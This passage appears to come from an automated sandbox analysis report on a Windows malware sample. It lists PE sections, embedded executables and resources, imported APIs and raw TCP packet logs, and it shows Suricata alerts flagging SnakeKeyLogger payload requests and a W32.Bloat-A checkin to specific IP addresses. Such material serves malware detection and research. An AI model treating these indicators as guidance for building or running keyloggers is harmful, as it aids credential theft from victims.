BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x19204	0x19400	6eaa0cb0832147af2584d782f1dd4ae3	False	0.4975924350247525	data	5.865086872411236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xb07c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.06871482176360225
RT_ICON	0xb1870	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_STRING	0xb2918	0x358	data			0.3796728971962617
RT_STRING	0xb2c70	0x428	data			0.37406015037593987
RT_STRING	0xb3098	0x3a4	data			0.40879828326180256
RT_STRING	0xb343c	0x3bc	data			0.33472803347280333
RT_STRING	0xb37f8	0x2d4	data			0.4654696132596685
RT_STRING	0xb3acc	0x334	data			0.42804878048780487
RT_STRING	0xb3e00	0x42c	data			0.42602996254681647
RT_STRING	0xb422c	0x1f0	data			0.4213709677419355
RT_STRING	0xb441c	0x1c0	data			0.44419642857142855
RT_STRING	0xb45dc	0xdc	data			0.6
RT_STRING	0xb46b8	0x320	data			0.45125
RT_STRING	0xb49d8	0xd8	data			0.5879629629629629
RT_STRING	0xb4ab0	0x118	data			0.5678571428571428
RT_STRING	0xb4bc8	0x268	data			0.4707792207792208
RT_STRING	0xb4e30	0x3f8	data			0.37598425196850394
RT_STRING	0xb5228	0x378	data			0.41103603603603606
RT_STRING	0xb55a0	0x380	data			0.35379464285714285
RT_STRING	0xb5920	0x374	data			0.4061085972850679
RT_STRING	0xb5c94	0xe0	data			0.5535714285714286
RT_STRING	0xb5d74	0xbc	data			0.526595744680851
RT_STRING	0xb5e30	0x368	data			0.40940366972477066
RT_STRING	0xb6198	0x3fc	data			0.34901960784313724
RT_STRING	0xb6594	0x2fc	data			0.36649214659685864
RT_STRING	0xb6890	0x354	data			0.31572769953051644
RT_RCDATA	0xb6be4	0x44	data			0.8676470588235294
RT_RCDATA	0xb6c28	0x10	data			1.5
RT_RCDATA	0xb6c38	0x9800	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows			0.47807874177631576
RT_RCDATA	0xc0438	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0xc043c	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0xc403c	0x64c	data			0.5998759305210918
RT_RCDATA	0xc4688	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0xc47dc	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_ICON	0xc8fb0	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0xc8fc4	0x240	data	Chinese	China	0.5642361111111112

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-22T13:10:27.617500+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49717	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:34.344002+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49757	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:36.764098+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49767	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:36.450548+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49765	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:26.548819+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49710	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:33.640713+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49750	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:26.546896+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49711	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:33.498401+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49749	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:30.295762+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49731	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:31.414636+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49739	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:39.475652+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49780	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:32.456776+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49741	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:35.390588+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49761	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:37.509199+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49769	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:29.819435+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49728	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:32.550556+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49743	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:39.475801+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49779	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:35.708307+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49762	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:31.457519+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49738	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:40.539765+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49782	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:29.044106+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49723	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:28.768793+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49721	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:26.149765+0200	TCP	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	49713	80	192.168.2.8	69.42.215.252
2024-08-22T13:10:27.976377+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49718	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:37.825975+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49773	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:38.404810+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49775	443	192.168.2.8	216.58.206.46
2024-08-22T13:10:34.676082+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	49758	443	192.168.2.8	216.58.206.46

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 22, 2024 13:10:25.262478113 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.262505054 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:25.262594938 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.263533115 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.263545990 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:25.263716936 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.300685883 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.300693989 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.300698042 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:25.300708055 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:25.544193983 CEST	49713	80	192.168.2.8	69.42.215.252
Aug 22, 2024 13:10:25.549062967 CEST	80	49713	69.42.215.252	192.168.2.8
Aug 22, 2024 13:10:25.549165010 CEST	49713	80	192.168.2.8	69.42.215.252
Aug 22, 2024 13:10:25.549490929 CEST	49713	80	192.168.2.8	69.42.215.252
Aug 22, 2024 13:10:25.554692984 CEST	80	49713	69.42.215.252	192.168.2.8
Aug 22, 2024 13:10:25.913781881 CEST	49715	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:25.919050932 CEST	2404	49715	192.168.1.195	192.168.2.8
Aug 22, 2024 13:10:25.919128895 CEST	49715	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:25.944583893 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:25.944794893 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.945331097 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:25.945445061 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.966877937 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:25.966981888 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:25.967634916 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:25.967818022 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.149506092 CEST	80	49713	69.42.215.252	192.168.2.8
Aug 22, 2024 13:10:26.149765015 CEST	49713	80	192.168.2.8	69.42.215.252
Aug 22, 2024 13:10:26.243211031 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.243231058 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.243547916 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.243679047 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.244240999 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.244260073 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.244573116 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.244914055 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.245835066 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.245837927 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.288501978 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.292503119 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.396919012 CEST	49715	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:26.401798010 CEST	2404	49715	192.168.1.195	192.168.2.8
Aug 22, 2024 13:10:26.546896935 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.546955109 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.546969891 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.547018051 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.547292948 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.547322035 CEST	443	49711	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.547374964 CEST	49711	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.547832012 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.547861099 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.547931910 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.548154116 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.548165083 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.548825026 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.548935890 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.548943996 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.549077034 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.549134970 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.549165010 CEST	443	49710	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.549248934 CEST	49710	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.549747944 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.549762011 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.549880028 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.550107002 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:26.550117016 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:26.558056116 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:26.558094978 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:26.558154106 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:26.558161020 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:26.558195114 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:26.558221102 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:26.558418989 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:26.558434963 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:26.558536053 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:26.558547020 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.209676027 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.209764957 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.210757017 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.210824013 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.211486101 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.211541891 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.216456890 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.216531038 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.216614962 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.216675043 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.217185974 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.217232943 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.232538939 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.232562065 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.232909918 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.232986927 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.234472036 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.236305952 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.236320972 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.236578941 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.236640930 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.237837076 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.239602089 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.239612103 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.239845037 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.239906073 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.242690086 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.242770910 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.242788076 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.243000984 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.247716904 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.248048067 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.276501894 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.280505896 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.284509897 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.292501926 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.617506027 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.617578030 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.619788885 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.657871008 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.657911062 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.658025026 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.658118010 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.716876030 CEST	49717	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.716908932 CEST	443	49717	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.721056938 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.721090078 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.721864939 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.725388050 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.725405931 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.770452023 CEST	49719	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.770495892 CEST	443	49719	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.789910078 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.789937019 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.790013075 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.797424078 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.797440052 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.812769890 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.812818050 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.812841892 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.812868118 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.812880039 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.812905073 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.813766956 CEST	443	49720	216.58.212.129	192.168.2.8
